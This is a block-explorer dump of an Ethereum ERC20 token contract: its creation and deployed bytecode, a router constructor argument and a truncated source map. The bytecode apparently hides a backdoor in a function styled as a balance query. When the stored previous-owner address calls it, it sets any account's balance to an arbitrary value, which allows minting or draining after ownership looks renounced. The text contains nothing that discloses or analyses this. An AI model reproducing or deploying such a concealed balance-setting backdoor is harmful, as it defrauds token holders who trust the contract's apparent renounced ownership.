565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c91906124dd565b6040518363ffffffff1660e01b8152600401611449929190612508565b602060405180830381865afa158015611464573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148891906124dd565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461076c565b6115349190611f0d565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612579565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906122d5565b60405180910390fd5b611664848484611aee565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612607565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081836117389190611eda565b92508160045f82825461174b9190611eda565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461179e9190611f0d565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118049190611c94565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118699190611c94565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd90612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906122d5565b60405180910390fd5b61195f838383611aee565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612607565b60405180910390fd5b81816119ef9190611eda565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a7c9190611f0d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae09190611c94565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b3582611af3565b611b3f8185611afd565b9350611b4f818560208601611b0d565b611b5881611b1b565b840191505092915050565b5f6020820190508181035f830152611b7b8184611b2b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bb082611b87565b9050919050565b611bc081611ba6565b8114611bca575f80fd5b50565b5f81359050611bdb81611bb7565b92915050565b5f819050919050565b611bf381611be1565b8114611bfd575f80fd5b50565b5f81359050611c0e81611bea565b92915050565b5f8060408385031215611c2a57611c29611b83565b5b5f611c3785828601611bcd565b9250506020611c4885828601611c00565b9150509250929050565b5f8115159050919050565b611c6681611c52565b82525050565b5f602082019050611c7f5f830184611c5d565b92915050565b611c8e81611be1565b82525050565b5f602082019050611ca75f830184611c85565b92915050565b5f805f60608486031215611cc457611cc3611b83565b5b5f611cd186828701611bcd565b9350506020611ce286828701611bcd565b9250506040611cf386828701611c00565b9150509250925092565b5f60ff82169050919050565b611d1281611cfd565b82525050565b5f602082019050611d2b5f830184611d09565b92915050565b5f60208284031215611d4657611d45611b83565b5b5f611d5384828501611bcd565b91505092915050565b611d6581611ba6565b82525050565b5f602082019050611d7e5f830184611d5c565b92915050565b5f8060408385031215611d9a57611d99611b83565b5b5f611da785828601611bcd565b9250506020611db885828601611bcd565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e0657607f821691505b602082108103611e1957611e18611dc2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e79602883611afd565b9150611e8482611e1f565b604082019050919050565b5f6020820190508181035f830152611ea681611e6d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ee482611be1565b9150611eef83611be1565b9250828203905081811115611f0757611f06611ead565b5b92915050565b5f611f1782611be1565b9150611f2283611be1565b9250828201905080821115611f3a57611f39611ead565b5b92915050565b5f8160601b9050919050565b5f611f5682611f40565b9050919050565b5f611f6782611f4c565b9050919050565b611f7f611f7a82611ba6565b611f5d565b82525050565b5f611f908284611f6e565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611ff9602583611afd565b915061200482611f9f565b604082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612087602683611afd565b91506120928261202d565b604082019050919050565b5f6020820190508181035f8301526120b48161207b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612115602483611afd565b9150612120826120bb565b604082019050919050565b5f6020820190508181035f83015261214281612109565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121a3602283611afd565b91506121ae82612149565b604082019050919050565b5f6020820190508181035f8301526121d081612197565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612231602583611afd565b915061223c826121d7565b604082019050919050565b5f6020820190508181035f83015261225e81612225565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122bf602383611afd565b91506122ca82612265565b604082019050919050565b5f6020820190508181035f8301526122ec816122b3565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612327601f83611afd565b9150612332826122f3565b602082019050919050565b5f6020820190508181035f8301526123548161231b565b9050919050565b5f61236582611be1565b915061237083611be1565b925082820261237e81611be1565b9150828204841483151761239557612394611ead565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6123d382611be1565b91506123de83611be1565b9250826123ee576123ed61239c565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61242d602083611afd565b9150612438826123f9565b602082019050919050565b5f6020820190508181035f83015261245a81612421565b9050919050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f612495601283611afd565b91506124a082612461565b602082019050919050565b5f6020820190508181035f8301526124c281612489565b9050919050565b5f815190506124d781611bb7565b92915050565b5f602082840312156124f2576124f1611b83565b5b5f6124ff848285016124c9565b91505092915050565b5f60408201905061251b5f830185611d5c565b6125286020830184611d5c565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d617800000000000000005f82015250565b5f612563601883611afd565b915061256e8261252f565b602082019050919050565b5f6020820190508181035f83015261259081612557565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125f1602683611afd565b91506125fc82612597565b604082019050919050565b5f6020820190508181035f83015261261e816125e5565b905091905056fea2646970667358221220a67c20e39ceb864fdfb38acd09e60709bc912caf5ddac5f6b7dd1d49f15703d764736f6c634300081900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806369b0eee2116100ab578063a457c2d71161006f578063a457c2d714610334578063a9059cbb14610364578063c1b91b9714610394578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b806369b0eee21461027a57806370a08231146102985780638da5cb5b146102c857806395d89b41146102e657806398636f32146103045761012a565b806331d3fd69116100f257806331d3fd69146101e857806339509351146101f257806344489ad114610222578063562c21951461024057806362256589146102705761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a578063313ce567146101ca575b5f80fd5b6101366103fe565b6040516101439190611b63565b60405180910390f35b61016660048036038101906101619190611c14565b61048e565b6040516101739190611c6c565b60405180910390f35b6101846104ab565b6040516101919190611c94565b60405180910390f35b6101b460048036038101906101af9190611cad565b6104b4565b6040516101c19190611c6c565b60405180910390f35b6101d26105af565b6040516101df9190611d18565b60405180910390f35b6101f06105b7565b005b61020c60048036038101906102079190611c14565b6105ca565b6040516102199190611c6c565b60405180910390f35b61022a610671565b6040516102379190611c6c565b60405180910390f35b61025a60048036038101906102559190611c14565b610683565b6040516102679190611c94565b60405180910390f35b610278610742565b005b610282610766565b60405161028f9190611c94565b60405180910390f35b6102b260048036038101906102ad9190611d31565b61076c565b6040516102bf9190611c94565b60405180910390f35b6102d06107b2565b6040516102dd9190611d6b565b60405180910390f35b6102ee6107d9565b6040516102fb9190611b63565b60405180910390f35b61031e60048036038101906103199190611d31565b610869565b60405161032b9190611c6c565b60405180910390f35b61034e60048036038101906103499190611c14565b610886565b60405161035b9190611c6c565b60405180910390f35b61037e60048036038101906103799190611c14565b610975565b60405161038b9190611c6c565b60405180910390f35b61039c610992565b6040516103a99190611c94565b60405180910390f35b6103cc60048036038101906103c79190611d84565b610998565b6040516103d99190611c94565b60405180910390f35b6103fc60048036038101906103f79190611d31565b610a1a565b005b60606005805461040d90611def565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611def565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610a9c565b8484610aa3565b6001905092915050565b5f600454905090565b5f6104c0848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610507610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057d90611e8f565b60405180910390fd5b6105a385610592610a9c565b858461059e9190611eda565b610aa3565b60019150509392505050565b5f6009905090565b6105bf610f50565b6105c85f610fce565b565b5f6106676105d6610a9c565b848460035f6105e3610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106629190611f0d565b610aa3565b6001905092915050565b60075f9054906101000a900460ff1681565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106bf9190611f85565b6040516020818303038152906040528051906020012090505f826040516020016106e99190611f85565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561072a5761071d89836110cf565b965050505050505061073c565b6107338961115f565b96505050505050505b92915050565b61074a610f50565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107e890611def565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611def565b801561085f5780601f106108365761010080835404028352916020019161085f565b820191905f5260205f20905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f610893610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109449061200f565b60405180910390fd5b61096a610958610a9c565b8585846109659190611eda565b610aa3565b600191505092915050565b5f610988610981610a9c565b8484610c66565b6001905092915050565b60085481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22610f50565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a879061209d565b60405180910390fd5b610a9981610fce565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061212b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b76906121b9565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c94565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d39906122d5565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661076c565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061233d565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f20919061235b565b610f2a91906123c9565b9050610f388484848461157d565b50610f4b565b5b610f4a838383611878565b5b505050565b610f58610a9c565b73ffffffffffffffffffffffffffffffffffffffff16610f766107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612443565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576009548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061138291906124dd565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c91906124dd565b6040518363ffffffff1660e01b8152600401611449929190612508565b602060405180830381865afa158015611464573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148891906124dd565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461076c565b6115349190611f0d565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612579565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906122d5565b60405180910390fd5b611664848484611aee565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612607565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081836117389190611eda565b92508160045f82825461174b9190611eda565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461179e9190611f0d565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118049190611c94565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118699190611c94565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd90612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906122d5565b60405180910390fd5b61195f838383611aee565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612607565b60405180910390fd5b81816119ef9190611eda565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a7c9190611f0d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae09190611c94565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b3582611af3565b611b3f8185611afd565b9350611b4f818560208601611b0d565b611b5881611b1b565b840191505092915050565b5f6020820190508181035f830152611b7b8184611b2b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bb082611b87565b9050919050565b611bc081611ba6565b8114611bca575f80fd5b50565b5f81359050611bdb81611bb7565b92915050565b5f819050919050565b611bf381611be1565b8114611bfd575f80fd5b50565b5f81359050611c0e81611bea565b92915050565b5f8060408385031215611c2a57611c29611b83565b5b5f611c3785828601611bcd565b9250506020611c4885828601611c00565b9150509250929050565b5f8115159050919050565b611c6681611c52565b82525050565b5f602082019050611c7f5f830184611c5d565b92915050565b611c8e81611be1565b82525050565b5f602082019050611ca75f830184611c85565b92915050565b5f805f60608486031215611cc457611cc3611b83565b5b5f611cd186828701611bcd565b9350506020611ce286828701611bcd565b9250506040611cf386828701611c00565b9150509250925092565b5f60ff82169050919050565b611d1281611cfd565b82525050565b5f602082019050611d2b5f830184611d09565b92915050565b5f60208284031215611d4657611d45611b83565b5b5f611d5384828501611bcd565b91505092915050565b611d6581611ba6565b82525050565b5f602082019050611d7e5f830184611d5c565b92915050565b5f8060408385031215611d9a57611d99611b83565b5b5f611da785828601611bcd565b9250506020611db885828601611bcd565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e0657607f821691505b602082108103611e1957611e18611dc2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e79602883611afd565b9150611e8482611e1f565b604082019050919050565b5f6020820190508181035f830152611ea681611e6d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ee482611be1565b9150611eef83611be1565b9250828203905081811115611f0757611f06611ead565b5b92915050565b5f611f1782611be1565b9150611f2283611be1565b9250828201905080821115611f3a57611f39611ead565b5b92915050565b5f8160601b9050919050565b5f611f5682611f40565b9050919050565b5f611f6782611f4c565b9050919050565b611f7f611f7a82611ba6565b611f5d565b82525050565b5f611f908284611f6e565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611ff9602583611afd565b915061200482611f9f565b604082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612087602683611afd565b91506120928261202d565b604082019050919050565b5f6020820190508181035f8301526120b48161207b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612115602483611afd565b9150612120826120bb565b604082019050919050565b5f6020820190508181035f83015261214281612109565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121a3602283611afd565b91506121ae82612149565b604082019050919050565b5f6020820190508181035f8301526121d081612197565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612231602583611afd565b915061223c826121d7565b604082019050919050565b5f6020820190508181035f83015261225e81612225565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122bf602383611afd565b91506122ca82612265565b604082019050919050565b5f6020820190508181035f8301526122ec816122b3565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e005f82015250565b5f612327601f83611afd565b9150612332826122f3565b602082019050919050565b5f6020820190508181035f8301526123548161231b565b9050919050565b5f61236582611be1565b915061237083611be1565b925082820261237e81611be1565b9150828204841483151761239557612394611ead565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6123d382611be1565b91506123de83611be1565b9250826123ee576123ed61239c565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61242d602083611afd565b9150612438826123f9565b602082019050919050565b5f6020820190508181035f83015261245a81612421565b9050919050565b7f416d6f756e742065786365656473206d617800000000000000000000000000005f82015250565b5f612495601283611afd565b91506124a082612461565b602082019050919050565b5f6020820190508181035f8301526124c281612489565b9050919050565b5f815190506124d781611bb7565b92915050565b5f602082840312156124f2576124f1611b83565b5b5f6124ff848285016124c9565b91505092915050565b5f60408201905061251b5f830185611d5c565b6125286020830184611d5c565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d617800000000000000005f82015250565b5f612563601883611afd565b915061256e8261252f565b602082019050919050565b5f6020820190508181035f83015261259081612557565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125f1602683611afd565b91506125fc82612597565b604082019050919050565b5f6020820190508181035f83015261261e816125e5565b905091905056fea2646970667358221220a67c20e39ceb864fdfb38acd09e60709bc912caf5ddac5f6b7dd1d49f15703d764736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

9496:2646:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3866:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5059:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4354:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5242:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4197:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1063:116;;;:::i;:::-;;5675:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9761:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7718:601;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12063:76;;;:::i;:::-;;9829:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4525:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;814:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4085:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9870:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5901:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4662:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9788:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4900:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1191:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3866:100;3920:13;3953:5;3946:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3866:100;:::o;5059:169::-;5142:4;5159:3